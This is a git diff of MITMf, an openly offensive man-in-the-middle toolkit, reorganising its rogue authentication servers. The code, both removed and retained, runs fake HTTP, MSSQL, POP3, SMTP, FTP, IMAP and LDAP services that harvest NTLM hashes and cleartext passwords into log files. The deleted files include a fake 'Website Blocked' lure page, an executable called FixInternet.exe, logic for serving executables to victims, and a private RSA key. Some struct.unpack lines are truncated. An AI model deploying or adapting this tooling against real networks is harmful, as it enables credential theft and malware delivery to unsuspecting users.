diff --git a/config/mitmf.conf b/config/mitmf.conf
index 04bd575..c76f951 100644
--- a/config/mitmf.conf
+++ b/config/mitmf.conf
@@ -21,6 +21,10 @@
msfport = 8080 #Port to start webserver for exploits
rpcip = 127.0.0.1
rpcpass = abc123
+
+ [[SMB]]
+ #Set a custom challenge
+ Challenge = 1122334455667788
[[DNS]]
@@ -88,46 +92,32 @@
[Responder]
#Set these values to On or Off, so you can control which rogue authentication server is turned on.
- SQL = On
- SMB = On
+ MSSQL = On
Kerberos = On
- FTP = On
- POP = On
- ##Listen on 25/TCP, 587/TCP
- SMTP = On
- IMAP = On
- HTTP = On
- HTTPS = On
- LDAP = On
+ FTP = On
+ POP = On
+ SMTP = On #Listens on 25/TCP, 587/TCP
+ IMAP = On
+ LDAP = On
- #Set a custom challenge
- Challenge = 1122334455667788
-
- #Set this to change the default logging file
- SessionLog = Responder-Session.log
-
- #Set this option with your in-scope targets (default = All). Example: RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
- #RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
+ #Set this option with your in-scope targets (default = All)
+ #Ex. RespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
RespondTo =
- #Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
- #RespondTo = WPAD,DEV,PROD,SQLINT
+
+ #Set this option with specific NBT-NS/LLMNR names to answer to (default = All)
+ #Ex. RespondTo = WPAD,DEV,PROD,SQLINT
RespondToName =
#DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
DontRespondTo =
- #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS
+
+ #Set this option with specific NBT-NS/LLMNR names not to respond to (default = None)
+ #Ex. DontRespondTo = NAC, IPS, IDS
DontRespondToName =
#Set your custom PAC script
WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return "PROXY ISAProxySrv:3141; DIRECT";}'
- [[HTTPS Server]]
-
- #Change to use your certs
- cert = config/responder/certs/responder.crt
- key = config/responder/certs/responder.key
-
-
[BeEFAutorun]
#Example config for the BeefAutorun plugin
diff --git a/config/responder/Denied.html b/config/responder/Denied.html
deleted file mode 100644
index d79f811..0000000
--- a/config/responder/Denied.html
+++ /dev/null
@@ -1,31 +0,0 @@
-
-
-Website Blocked: ISA Proxy Server
-
-
-
-
-
-
-
New Security Policy: Website Blocked
-
-
-
-
- Access has been blocked. Please download and install the new Proxy Client in order to access internet resources.
-
-
-
-
-
-
-
-
diff --git a/config/responder/FixInternet.exe b/config/responder/FixInternet.exe
deleted file mode 100755
index b1a8e63..0000000
Binary files a/config/responder/FixInternet.exe and /dev/null differ
diff --git a/config/responder/certs/gen-self-signed-cert.sh b/config/responder/certs/gen-self-signed-cert.sh
deleted file mode 100755
index e9f3c73..0000000
--- a/config/responder/certs/gen-self-signed-cert.sh
+++ /dev/null
@@ -1,2 +0,0 @@
-#!/bin/bash
-openssl genrsa -des3 -out responder.tmp.key 2048&&openssl rsa -in responder.tmp.key -out responder.key&&openssl req -new -key responder.key -out responder.csr&&openssl x509 -req -days 365 -in responder.csr -signkey responder.key -out responder.crt&&rm responder.tmp.key responder.csr
diff --git a/config/responder/certs/responder.crt b/config/responder/certs/responder.crt
deleted file mode 100644
index ac239e8..0000000
--- a/config/responder/certs/responder.crt
+++ /dev/null
@@ -1,19 +0,0 @@
------BEGIN CERTIFICATE-----
-MIIDBjCCAe4CCQDDe8Sb2PGjITANBgkqhkiG9w0BAQUFADBFMQswCQYDVQQGEwJB
-VTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50ZXJuZXQgV2lkZ2l0
-cyBQdHkgTHRkMB4XDTEzMDIyODIwMTcxN1oXDTE0MDIyODIwMTcxN1owRTELMAkG
-A1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0
-IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
-AMQB5yErm0Sg7sRQbLgbi/hG/8uF2xUzvVKnT4LROEWkkimy9umb2JbvAZITDvSs
-r2xsPA4VoxFjKpWLOv7mAIMBR95NDWsTLuR36Sho/U2LlTlUBdSfQP7rlKQZ0L43
-YpXswdvCCJ0wP2yOhq0i71cg/Nk9mfQxftpgGUxoa+6ljU9hSdmThu2FVgAbSpNl
-D86rk4K9/sGYAY4btMqaMzC7JIKZp07FHL32oM01cKbRoNg2eUuQmoVjca1pkmbO
-Y8qnl7ajOjsiAPQnt/2TMJlRsdoU1fSx76Grgkm8D4gX/pBUqELdpvHtnm/9imPl
-qNGL5LaW8ARgG16U0mRhutkCAwEAATANBgkqhkiG9w0BAQUFAAOCAQEAS7u4LWc9
-wDPThD0o58Ti2GgIs+mMRx5hPaxWHJNCu+lwFqjvWmsNFfHoSzlIkIUjtlV2G/wE
-FxDSPlc/V+r7U2UiE7WSqQiWdmfOYS2m03x4SN0Vzf/n9DeApyPo2GsXGrha20eN
-s390Xwj6yKFdprUPJ8ezlEVRrAMv7tu1cOLzqmkocYKnPgXDdQxiiGisp7/hEUCQ
-B7HvNCMPbOi+M7O/CXbfgnTD029KkyiR2LEtj4QC5Ytp/pj0UyyoIeCK57CTB3Jt
-X3CZ+DiphTpOca4iENH55m6atk+WHYwg3ClYiONQDdIgKVT3BK0ITjyFWZeTneVu
-1eVgF/UkX9fqJg==
------END CERTIFICATE-----
diff --git a/config/responder/certs/responder.key b/config/responder/certs/responder.key
deleted file mode 100644
index 2b7cbc0..0000000
--- a/config/responder/certs/responder.key
+++ /dev/null
@@ -1,27 +0,0 @@
------BEGIN RSA PRIVATE KEY-----
-MIIEowIBAAKCAQEAxAHnISubRKDuxFBsuBuL+Eb/y4XbFTO9UqdPgtE4RaSSKbL2
-6ZvYlu8BkhMO9KyvbGw8DhWjEWMqlYs6/uYAgwFH3k0NaxMu5HfpKGj9TYuVOVQF
-1J9A/uuUpBnQvjdilezB28IInTA/bI6GrSLvVyD82T2Z9DF+2mAZTGhr7qWNT2FJ
-2ZOG7YVWABtKk2UPzquTgr3+wZgBjhu0ypozMLskgpmnTsUcvfagzTVwptGg2DZ5
-S5CahWNxrWmSZs5jyqeXtqM6OyIA9Ce3/ZMwmVGx2hTV9LHvoauCSbwPiBf+kFSo
-Qt2m8e2eb/2KY+Wo0YvktpbwBGAbXpTSZGG62QIDAQABAoIBABbuLg74XgLKXQSE
-cCOdvWM/Ux+JOlchpW1s+2VPeqjTFvJf6Hjt7YnCzkk7h41iQmeJxgDT0S7wjgPO
-tQkq+TZaSQEdvIshRGQgDxvWJIQU51E8ni4Ar4bjIpGMH5qROixV9VvzODTDdzgI
-+IJ6ystDpbD4fvFNdQyxH2SL9syFRyWyxY3vWB0C/OHWxGFtiTtmeivBSmpxl0RY
-RQqPLxX+xUCie7U6ud3e37FO7cKt+YT8lWKhGHKJlTlJbHs1d8crzp6qKJLl+ibB
-0fB6D6E5M1fnIJFJULIYAG5bEak90KuKOKCLoKLG+rq0vUvJsb9vNCAA6rh1ra+n
-8woY8TECgYEA7CEE/3oWnziB3PZoIIJDgbBalCCbA+/SgDiSvYJELEApCMj8HYc5
-UGOxrfVhPmbHRUI982Fj1oM3QBEX0zpkOk7Xk224RXwBHG8MMPQmTMVp+o06AI6D
-Nggyam9v5KLNMj5KghKJSOD0tR5YxsZPXw4gAI+wpqu3bXGKZ8bRpvUCgYEA1ICJ
-H+kw6H8edJHGdNH+X6RR0DIbS11XQvbKQ3vh6LdHTofoHqQa3t0zGYCgksKJbtHV
-2h3pv+nuOu5FEP2rrGJIforv2zwfJ5vp65jePrSXU+Up4pMHbP1Rm91ApcKNA15U
-q3SaclqTjmiqvaeSKc4TDjdb/rUaIhyIgbg97dUCgYAcdq5/jVwEvW8KD7nlkU5J
-59RDXtrQ0qvxQOCPb5CANQu9P10EwjQqeJoGejnKp+EFfEKzf93lEdQrKORSVguW
-68IYx3UbCyOnJcu2avfi8TkhNrzzLDqs3LgXFG/Mg8NwdwnMPCfIXTWiT5IsA+O1
-daJt7uRAcxqdWr5wXAsRsQKBgFXU4Q4hm16dUcjVxKoU08D/1wfX5UxolEF4+zOM
-yy+7L7MZk/kkYbIY+HXZjYIZz3cSjGVAZdTdgRsOeJknTPsg65UpOz57Jz5RbId7
-xHDhcqoxSty4dGxiWV8yW9VYIqr0pBBo1aVQzn7b6fMWxyPZl7rLQ3462iZjDgQP
-TfxNAoGBAK/Gef6MgchbFPikOVEX9qB/wt4sS3V7mT6QkqMZZgSkegDLBFVRJX3w
-Emx/V2A14p0uHPzn5irURyJ6daZCN4amPAWYQnkiXG8saiBwtfs23A1q7kxnPR+b
-KJfb+nDlhU1iYa/7nf4PaR/i9l6gcwOeh1ThK1nq4VvwTaTZKSRh
------END RSA PRIVATE KEY-----
diff --git a/core/configwatcher.py b/core/configwatcher.py
index c583ff4..03f8e3c 100644
--- a/core/configwatcher.py
+++ b/core/configwatcher.py
@@ -13,9 +13,7 @@ class ConfigWatcher(FileSystemEventHandler):
_instance = None
- def __init__(self):
-
- self.config = ConfigObj("./config/mitmf.conf")
+ config = ConfigObj("./config/mitmf.conf")
@staticmethod
def getInstance():
diff --git a/core/dnschef/DNSchef.py b/core/dnschef/DNSchef.py
index 971c787..34ea779 100755
--- a/core/dnschef/DNSchef.py
+++ b/core/dnschef/DNSchef.py
@@ -416,6 +416,7 @@ class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
class DNSChef(ConfigWatcher):
_instance = None
+ version = "0.4"
tcp = False
ipv6 = False
diff --git a/core/netcreds/NetCreds.py b/core/netcreds/NetCreds.py
index 0bfef7a..451729b 100644
--- a/core/netcreds/NetCreds.py
+++ b/core/netcreds/NetCreds.py
@@ -45,6 +45,8 @@ http_search_re = '((search|query|&q|\?q|search\?p|searchterm|keywords|keyword|co
class NetCreds:
+ version = "1.0"
+
def sniffer(self, myip, interface):
#set the filter to our ip to prevent capturing traffic coming/going from our box
sniff(iface=interface, prn=pkt_parser, filter="not host {}".format(myip), store=0)
diff --git a/core/protocols/http/HTTPProxy.py b/core/protocols/http/HTTPProxy.py
deleted file mode 100644
index 73db00a..0000000
--- a/core/protocols/http/HTTPProxy.py
+++ /dev/null
@@ -1,240 +0,0 @@
-##################################################################################
-#HTTP Proxy Stuff starts here (Not Used)
-##################################################################################
-
-class HTTPProxy():
-
- def serve_thread_tcp(host, port, handler):
- try:
- server = ThreadingTCPServer((host, port), handler)
- server.serve_forever()
- except Exception, e:
- print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
-
- def start(on_off):
- if on_off == "ON":
- t = threading.Thread(name="HTTP", target=self.serve_thread_tcp, args=("0.0.0.0", 80,HTTP))
- t.setDaemon(True)
- t.start()
-
- if on_off == "OFF":
- return False
-
-class ThreadingTCPServer(ThreadingMixIn, TCPServer):
-
- allow_reuse_address = 1
-
- def server_bind(self):
- TCPServer.server_bind(self)
-
-#Parse NTLMv1/v2 hash.
-def ParseHTTPHash(data,client):
- LMhashLen = struct.unpack(' 24:
- NthashLen = 64
- DomainLen = struct.unpack('2:
- PostData = '[+]The HTTP POST DATA in this request was: %s'%(''.join(POSTDATA).strip())
- #print PostData
- responder_logger.info(PostData)
-
-#Handle HTTP packet sequence.
-def PacketSequence(data,client):
- Ntlm = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
- BasicAuth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
-
- if ServeEXEOrNot(Exe_On_Off) and re.findall('.exe', data):
- File = config.get('HTTP Server', 'ExecFilename')
- buffer1 = ServerExeFile(Payload = ServeEXE(data,client,File),filename=File)
- buffer1.calculate()
- return str(buffer1)
-
- if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
- if IsExecutable(FILENAME):
- buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
- buffer1.calculate()
- return str(buffer1)
- else:
- buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
- buffer1.calculate()
- return str(buffer1)
-
- if Ntlm:
- packetNtlm = b64decode(''.join(Ntlm))[8:9]
- if packetNtlm == "\x01":
- GrabURL(data,client)
- GrabCookie(data,client)
- r = NTLM_Challenge(ServerChallenge=Challenge)
- r.calculate()
- t = IIS_NTLM_Challenge_Ans()
- t.calculate(str(r))
- buffer1 = str(t)
- return buffer1
- if packetNtlm == "\x03":
- NTLM_Auth= b64decode(''.join(Ntlm))
- ParseHTTPHash(NTLM_Auth,client)
- if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
- Message = "[+]WPAD (auth) file sent to: %s"%(client)
- if Verbose:
- print Message
- responder_logger.info(Message)
- buffer1 = WpadCustom(data,client)
- return buffer1
- else:
- buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
- buffer1.calculate()
- return str(buffer1)
-
- if BasicAuth:
- GrabCookie(data,client)
- GrabURL(data,client)
- outfile = "./logs/responder/HTTP-Clear-Text-Password-"+client+".txt"
- WriteData(outfile,b64decode(''.join(BasicAuth)), b64decode(''.join(BasicAuth)))
- responder_logger.info('[+]HTTP-User & Password: %s'%(b64decode(''.join(BasicAuth))))
- if WpadForcedAuth(Force_WPAD_Auth) and WpadCustom(data,client):
- Message = "[+]WPAD (auth) file sent to: %s"%(client)
- if Verbose:
- print Message
- responder_logger.info(Message)
- buffer1 = WpadCustom(data,client)
- return buffer1
- else:
- buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
- buffer1.calculate()
- return str(buffer1)
-
- else:
- return str(Basic_Ntlm(Basic))
-
-#HTTP Server Class
-class HTTP(BaseRequestHandler):
-
- def handle(self):
- try:
- while True:
- self.request.settimeout(1)
- data = self.request.recv(8092)
- buff = WpadCustom(data,self.client_address[0])
- if buff and WpadForcedAuth(Force_WPAD_Auth) == False:
- Message = "[+]WPAD (no auth) file sent to: %s"%(self.client_address[0])
- if Verbose:
- print Message
- responder_logger.info(Message)
- self.request.send(buff)
- else:
- buffer0 = PacketSequence(data,self.client_address[0])
- self.request.send(buffer0)
- except Exception:
- pass#No need to be verbose..
-
\ No newline at end of file
diff --git a/core/protocols/mssql/MSSQLServer.py b/core/protocols/mssql/MSSQLServer.py
deleted file mode 100644
index 60d7adb..0000000
--- a/core/protocols/mssql/MSSQLServer.py
+++ /dev/null
@@ -1,128 +0,0 @@
-import struct
-
-class MSSQLServer():
-
- def serve_thread_tcp(host, port, handler):
- try:
- server = ThreadingTCPServer((host, port), handler)
- server.serve_forever()
- except Exception, e:
- print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
-
- def start(SQL_On_Off):
- if SQL_On_Off == "ON":
- t = threading.Thread(name="MSSQL", target=self.serve_thread_tcp, args=("0.0.0.0", 1433,MSSQL))
- t.setDaemon(True)
- t.start()
- return t
- if SQL_On_Off == "OFF":
- return False
-
-class ThreadingTCPServer(ThreadingMixIn, TCPServer):
-
- allow_reuse_address = True
-
- def server_bind(self):
- TCPServer.server_bind(self)
-
-#This function parse SQL NTLMv1/v2 hash and dump it into a specific file.
-def ParseSQLHash(data,client):
- SSPIStart = data[8:]
- LMhashLen = struct.unpack(' 60:
- DomainLen = struct.unpack('H',Data[2:4])[0]
- EncryptionValue = Data[PacketLen-7:PacketLen-6]
- if re.search("NTLMSSP",Data):
- return True
- else:
- return False
-
-#MS-SQL server class.
-class MSSQL(BaseRequestHandler):
-
- def handle(self):
- try:
- while True:
- data = self.request.recv(1024)
- self.request.settimeout(0.1)
- ##Pre-Login Message
- if data[0] == "\x12":
- buffer0 = str(MSSQLPreLoginAnswer())
- self.request.send(buffer0)
- data = self.request.recv(1024)
- ##NegoSSP
- if data[0] == "\x10":
- if re.search("NTLMSSP",data):
- t = MSSQLNTLMChallengeAnswer(ServerChallenge=Challenge)
- t.calculate()
- buffer1 = str(t)
- self.request.send(buffer1)
- data = self.request.recv(1024)
- else:
- ParseClearTextSQLPass(data,self.client_address[0])
- ##NegoSSP Auth
- if data[0] == "\x11":
- ParseSQLHash(data,self.client_address[0])
- except Exception:
- pass
- self.request.close()
-##################################################################################
-#SQL Stuff ends here
-##################################################################################
\ No newline at end of file
diff --git a/core/protocols/pop3/POP3Server.py b/core/protocols/pop3/POP3Server.py
deleted file mode 100644
index 8e7d700..0000000
--- a/core/protocols/pop3/POP3Server.py
+++ /dev/null
@@ -1,69 +0,0 @@
-##################################################################################
-#POP3 Stuff starts here
-##################################################################################
-
-class POP3Server():
-
- def serve_thread_tcp(host, port, handler):
- try:
- server = ThreadingTCPServer((host, port), handler)
- server.serve_forever()
- except Exception, e:
- print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
-
- #Function name self-explanatory
- def start(POP_On_Off):
- if POP_On_Off == "ON":
- t = threading.Thread(name="POP", target=serve_thread_tcp, args=("0.0.0.0", 110,POP))
- t.setDaemon(True)
- t.start()
- return t
- if POP_On_Off == "OFF":
- return False
-
-class ThreadingTCPServer(ThreadingMixIn, TCPServer):
-
- allow_reuse_address = 1
-
- def server_bind(self):
- TCPServer.server_bind(self)
-
-
-class POPOKPacket(Packet):
- fields = OrderedDict([
- ("Code", "+OK"),
- ("CRLF", "\r\n"),
- ])
-
-#POP3 server class.
-class POP(BaseRequestHandler):
-
- def handle(self):
- try:
- self.request.send(str(POPOKPacket()))
- data = self.request.recv(1024)
- if data[0:4] == "USER":
- User = data[5:].replace("\r\n","")
- responder_logger.info('[+]POP3 User: %s'%(User))
- t = POPOKPacket()
- self.request.send(str(t))
- data = self.request.recv(1024)
- if data[0:4] == "PASS":
- Pass = data[5:].replace("\r\n","")
- Outfile = "./logs/responder/POP3-Clear-Text-Password-"+self.client_address[0]+".txt"
- WriteData(Outfile,User+":"+Pass, User+":"+Pass)
- #print "[+]POP3 Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],User,Pass)
- responder_logger.info("[+]POP3 Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],User,Pass))
- t = POPOKPacket()
- self.request.send(str(t))
- data = self.request.recv(1024)
- else :
- t = POPOKPacket()
- self.request.send(str(t))
- data = self.request.recv(1024)
- except Exception:
- pass
-
-##################################################################################
-#POP3 Stuff ends here
-##################################################################################
\ No newline at end of file
diff --git a/core/protocols/smb/SMBserver.py b/core/protocols/smb/SMBserver.py
index 57c5cb3..ded9958 100644
--- a/core/protocols/smb/SMBserver.py
+++ b/core/protocols/smb/SMBserver.py
@@ -1,7 +1,8 @@
import logging
import sys
import threading
-from impacket import smbserver, LOG
+from impacket import version, smbserver, LOG
+from core.configwatcher import ConfigWatcher
LOG.setLevel(logging.INFO)
LOG.propagate = False
@@ -16,11 +17,14 @@ streamHandler.setFormatter(formatter)
LOG.addHandler(fileHandler)
LOG.addHandler(streamHandler)
-class SMBserver:
+class SMBserver(ConfigWatcher):
+
+ impacket_ver = version.VER_MINOR
def __init__(self, listenAddress = '0.0.0.0', listenPort=445, configFile=''):
self.server = smbserver.SimpleSMBServer(listenAddress, listenPort, configFile)
+ self.server.setSMBChallenge(self.config["MITMf"]["SMB"]["Challenge"])
def start(self):
t = threading.Thread(name='SMBserver', target=self.server.start)
diff --git a/core/protocols/smtp/SMTPServer.py b/core/protocols/smtp/SMTPServer.py
deleted file mode 100644
index 50002f9..0000000
--- a/core/protocols/smtp/SMTPServer.py
+++ /dev/null
@@ -1,63 +0,0 @@
-##################################################################################
-#ESMTP Stuff starts here
-##################################################################################
-
-class SMTP():
-
- def serve_thread_tcp(self, host, port, handler):
- try:
- server = ThreadingTCPServer((host, port), handler)
- server.serve_forever()
- except Exception, e:
- print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
-
- #Function name self-explanatory
- def start(self, SMTP_On_Off):
- if SMTP_On_Off == "ON":
- t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=("0.0.0.0", 25,ESMTP))
- t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=("0.0.0.0", 587,ESMTP))
-
- for t in [t1, t2]:
- t.setDaemon(True)
- t.start()
-
- if SMTP_On_Off == "OFF":
- return False
-
-class ThreadingTCPServer(ThreadingMixIn, TCPServer):
-
- allow_reuse_address = 1
-
- def server_bind(self):
- TCPServer.server_bind(self)
-
-#ESMTP server class.
-class ESMTP(BaseRequestHandler):
-
- def handle(self):
- try:
- self.request.send(str(SMTPGreating()))
- data = self.request.recv(1024)
- if data[0:4] == "EHLO":
- self.request.send(str(SMTPAUTH()))
- data = self.request.recv(1024)
- if data[0:4] == "AUTH":
- self.request.send(str(SMTPAUTH1()))
- data = self.request.recv(1024)
- if data:
- Username = b64decode(data[:len(data)-2])
- self.request.send(str(SMTPAUTH2()))
- data = self.request.recv(1024)
- if data:
- Password = b64decode(data[:len(data)-2])
- Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt"
- WriteData(Outfile,Username+":"+Password, Username+":"+Password)
- #print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password)
- responder_logger.info("[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password))
-
- except Exception:
- pass
-
-##################################################################################
-#ESMTP Stuff ends here
-##################################################################################
\ No newline at end of file
diff --git a/core/responder/common.py b/core/responder/common.py
index cd0ea40..904d865 100644
--- a/core/responder/common.py
+++ b/core/responder/common.py
@@ -1,6 +1,6 @@
#common functions that are used throughout the Responder's code
-
+import os
import re
#Function used to write captured hashs to a file.
diff --git a/core/protocols/ftp/FTPServer.py b/core/responder/ftp/FTPServer.py
similarity index 54%
rename from core/protocols/ftp/FTPServer.py
rename to core/responder/ftp/FTPServer.py
index 98d65ae..d045568 100644
--- a/core/protocols/ftp/FTPServer.py
+++ b/core/responder/ftp/FTPServer.py
@@ -1,25 +1,25 @@
-##################################################################################
-#FTP Stuff starts here
-##################################################################################
+import socket
+import threading
+import logging
+
+from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
+from core.responder.packet import Packet
+from core.responder.odict import OrderedDict
+from core.responder.common import *
+
+mitmf_logger = logging.getLogger("mitmf")
class FTPServer():
-
- def serve_thread_tcp(host, port, handler):
+
+ def start(self):
try:
- server = ThreadingTCPServer((host, port), handler)
- server.serve_forever()
- except Exception, e:
- print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
-
- #Function name self-explanatory
- def start(FTP_On_Off):
- if FTP_On_Off == "ON":
- t = threading.Thread(name="FTP", target=self.serve_thread_tcp, args=("0.0.0.0", 21, FTP))
+ mitmf_logger.debug("[FTPServer] online")
+ server = ThreadingTCPServer(("0.0.0.0", 21), FTP)
+ t = threading.Thread(name="FTPServer", target=server.serve_forever)
t.setDaemon(True)
t.start()
-
- if FTP_On_Off == "OFF":
- return False
+ except Exception, e:
+ mitmf_logger.error("[FTPServer] Error starting on port {}: {}".format(21, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@@ -45,8 +45,7 @@ class FTP(BaseRequestHandler):
data = self.request.recv(1024)
if data[0:4] == "USER":
User = data[5:].replace("\r\n","")
- #print "[+]FTP User: ", User
- responder_logger.info('[+]FTP User: %s'%(User))
+ mitmf_logger.info('[FTPServer] {} FTP User: {}'.format(self.client_address[0], User))
t = FTPPacket(Code="331",Message="User name okay, need password.")
self.request.send(str(t))
data = self.request.recv(1024)
@@ -54,8 +53,7 @@ class FTP(BaseRequestHandler):
Pass = data[5:].replace("\r\n","")
Outfile = "./logs/responder/FTP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,User+":"+Pass, User+":"+Pass)
- #print "[+]FTP Password is: ", Pass
- responder_logger.info('[+]FTP Password is: %s'%(Pass))
+ mitmf_logger.info('[FTPServer] {} FTP Password is: {}'.format(self.client_address[0], Pass))
t = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(str(t))
data = self.request.recv(1024)
@@ -63,9 +61,5 @@ class FTP(BaseRequestHandler):
t = FTPPacket(Code="502",Message="Command not implemented.")
self.request.send(str(t))
data = self.request.recv(1024)
- except Exception:
- pass
-
-##################################################################################
-#FTP Stuff ends here
-##################################################################################
\ No newline at end of file
+ except Exception as e:
+ mitmf_logger.error("[FTPServer] Error handling request: {}".format(e))
\ No newline at end of file
diff --git a/core/protocols/ftp/__init__.py b/core/responder/ftp/__init__.py
similarity index 100%
rename from core/protocols/ftp/__init__.py
rename to core/responder/ftp/__init__.py
diff --git a/core/protocols/http/HTTPSProxy.py b/core/responder/https/HTTPSProxy.py
similarity index 100%
rename from core/protocols/http/HTTPSProxy.py
rename to core/responder/https/HTTPSProxy.py
diff --git a/core/protocols/http/__init__.py b/core/responder/https/__init__.py
similarity index 100%
rename from core/protocols/http/__init__.py
rename to core/responder/https/__init__.py
diff --git a/core/protocols/imap/IMAPPackets.py b/core/responder/imap/IMAPPackets.py
similarity index 76%
rename from core/protocols/imap/IMAPPackets.py
rename to core/responder/imap/IMAPPackets.py
index 51f13e8..3e3ed17 100644
--- a/core/protocols/imap/IMAPPackets.py
+++ b/core/responder/imap/IMAPPackets.py
@@ -16,21 +16,8 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
import struct
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
+from core.responder.odict import OrderedDict
+from core.responder.packet import Packet
#IMAP4 Greating class
class IMAPGreating(Packet):
diff --git a/core/protocols/imap/IMAPServer.py b/core/responder/imap/IMAPServer.py
similarity index 50%
rename from core/protocols/imap/IMAPServer.py
rename to core/responder/imap/IMAPServer.py
index a05afc6..67e6a55 100644
--- a/core/protocols/imap/IMAPServer.py
+++ b/core/responder/imap/IMAPServer.py
@@ -1,26 +1,23 @@
-##################################################################################
-#IMAP4 Stuff starts here
-##################################################################################
+import logging
+import threading
+from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
+from IMAPPackets import *
+from core.responder.common import *
+
+mitmf_logger = logging.getLogger("mitmf")
class IMAPServer():
- def serve_thread_tcp(host, port, handler):
+ def start(self):
try:
- server = ThreadingTCPServer((host, port), handler)
- server.serve_forever()
- except Exception, e:
- print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
-
- #Function name self-explanatory
- def start(IMAP_On_Off):
- if IMAP_On_Off == "ON":
- t = threading.Thread(name="IMAP", target=self.serve_thread_tcp, args=("0.0.0.0", 143,IMAP))
+ mitmf_logger.debug("[IMAPServer] online")
+ server = ThreadingTCPServer(("0.0.0.0", 143), IMAP)
+ t = threading.Thread(name="IMAPServer", target=server.serve_forever)
t.setDaemon(True)
t.start()
-
- if IMAP_On_Off == "OFF":
- return False
+ except Exception, e:
+ mitmf_logger.error("[IMAPServer] Error starting on port {}: {}".format(143, e))
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
@@ -46,13 +43,9 @@ class IMAP(BaseRequestHandler):
Outfile = "./logs/responder/IMAP-Clear-Text-Password-"+self.client_address[0]+".txt"
WriteData(Outfile,Credentials, Credentials)
#print '[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials)
- responder_logger.info('[+]IMAP Credentials from %s. ("User" "Pass"): %s'%(self.client_address[0],Credentials))
+ mitmf_logger.info('[IMAPServer] IMAP Credentials from {}. ("User" "Pass"): {}'.format(self.client_address[0],Credentials))
self.request.send(str(ditchthisconnection()))
data = self.request.recv(1024)
- except Exception:
- pass
-
-##################################################################################
-#IMAP4 Stuff ends here
-##################################################################################
\ No newline at end of file
+ except Exception as e:
+ mitmf_logger.error("[IMAPServer] Error handling request: {}".format(e))
diff --git a/core/protocols/imap/__init__.py b/core/responder/imap/__init__.py
similarity index 100%
rename from core/protocols/imap/__init__.py
rename to core/responder/imap/__init__.py
diff --git a/core/protocols/ldap/LDAPPackets.py b/core/responder/ldap/LDAPPackets.py
similarity index 97%
rename from core/protocols/ldap/LDAPPackets.py
rename to core/responder/ldap/LDAPPackets.py
index 7de4409..ce3b64f 100644
--- a/core/protocols/ldap/LDAPPackets.py
+++ b/core/responder/ldap/LDAPPackets.py
@@ -17,22 +17,8 @@
# along with this program. If not, see .
import struct
-from odict import OrderedDict
-
-class Packet():
- fields = OrderedDict([
- ("data", ""),
- ])
- def __init__(self, **kw):
- self.fields = OrderedDict(self.__class__.fields)
- for k,v in kw.items():
- if callable(v):
- self.fields[k] = v(self.fields[k])
- else:
- self.fields[k] = v
- def __str__(self):
- return "".join(map(str, self.fields.values()))
-
+from core.responder.odict import OrderedDict
+from core.responder.packet import Packet
class LDAPSearchDefaultPacket(Packet):
fields = OrderedDict([
diff --git a/core/protocols/ldap/LDAPServer.py b/core/responder/ldap/LDAPServer.py
similarity index 72%
rename from core/protocols/ldap/LDAPServer.py
rename to core/responder/ldap/LDAPServer.py
index fa65472..4629f71 100644
--- a/core/protocols/ldap/LDAPServer.py
+++ b/core/responder/ldap/LDAPServer.py
@@ -1,25 +1,27 @@
-##################################################################################
-#LDAP Stuff starts here
-##################################################################################
+import struct
+import logging
+import threading
+import re
+
+from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler
+from LDAPPackets import *
+from core.responder.common import *
+
+mitmf_logger = logging.getLogger("mitmf")
